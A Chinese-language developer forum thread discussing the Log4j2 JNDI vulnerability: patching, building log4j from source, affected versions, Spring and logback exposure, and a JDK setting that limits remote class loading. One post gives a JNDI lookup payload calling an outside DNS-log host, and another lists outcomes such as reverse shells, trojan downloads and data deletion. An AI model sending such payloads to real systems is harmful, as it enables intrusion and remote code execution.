log4j2 的漏洞大家今天晚上修复吗?

[Jooooooooo]

没想到继 fastjson 之后还有这一出.

[Imindzzz]

${jndi:ldap://00pfh9.dnslog.cn}

[sshang]

@jamzhou 你复现注入执行的时候，是用的 log4j 的什么包

[lhwarthas]

源码编译步骤：
1.准备 JDK8 & JDK11 & maven
2.配置环境变量 export JAVA_HOME_8_X64=jdk8 目录 export JAVA_HOME_11_X64=jdk11 目录
3.源码目录下执行 mvn package -Dmaven.test.skip=true -DtrimStackTrace=false -Dmaven.test.failure.ignore=true -Dsurefire.rerunFailingTestsCount=1 --global-toolchains .github/workflows/maven-toolchains.xml

[pocketz]

@NULL2020
你报错信息是什么？我这边报错是远程 repo 里没有 log4j-api-java9 。

把源码里的 log4j-api-java9 添加到我本地的 repo 里，log4j-api 就编译成功了

[donespeak]

有人讲讲通过这个漏洞可以做什么样的吗？

[whoosy]

正在搞

[Depth]

@donespeak 远程命令执行，好点的远程下载木马，反弹 shell,坏点的，rm -r root 一下

[yangyaofei]

那个……如果是 linux 上，用一个很低的权限(只有 web 文件夹有读权限)的帐户运行程序，是不是就没事儿了？

[zooo]

@donespeak 大概就是攻击者想执行什么代码就可以执行什么代码

[linvaux]

@ericgui logback

[wth4612]

@deadofpeople 我比了下源码 2.15.0 应该就是 RC2 版
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2

[codehz]

@yangyaofei 考虑下内网有没有别的服务（
比如数据库

还有就是即使啥权限没有，也能挖矿

[SirCarol]

今天修复了一天。

[jamzhou]

@sshang 我用的 2.14.1

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

[movq]

Spring 里面默认用的 logback+slf4j ，然后 log4j api 只是个 api ，log4j-to-slf4j 只是让调用 log4j 的代码不变，背后实际调用的是 slf4j 吧

总结下来就是 Spring 默认情况下不存在这个漏洞

@jamzhou
@aoizz
@aoizz
@play78

[hallDrawnel]

今天看隔壁修了一天，还好我们这边没 Java

[ericFork]

@hallDrawnel #76 依赖的基础设施如果有用到的话也一样要修的，比如 kafka, elasticsearch

[hallDrawnel]

@ericFork 是的，但是那个有其他团队负责修，我们只需要观察稳定性就行了

[vincent956]

@MonkeyJon springboot 自己引入的这个两个包，但是项目上没有使用，有影响吗

[Kaiv2]

高版本 JDK 不用太担心
com.sun.jndi.rmi.object.trustURLCodebase 这个参数没有设置为 true ，不会远程加载 class, 会抛出异常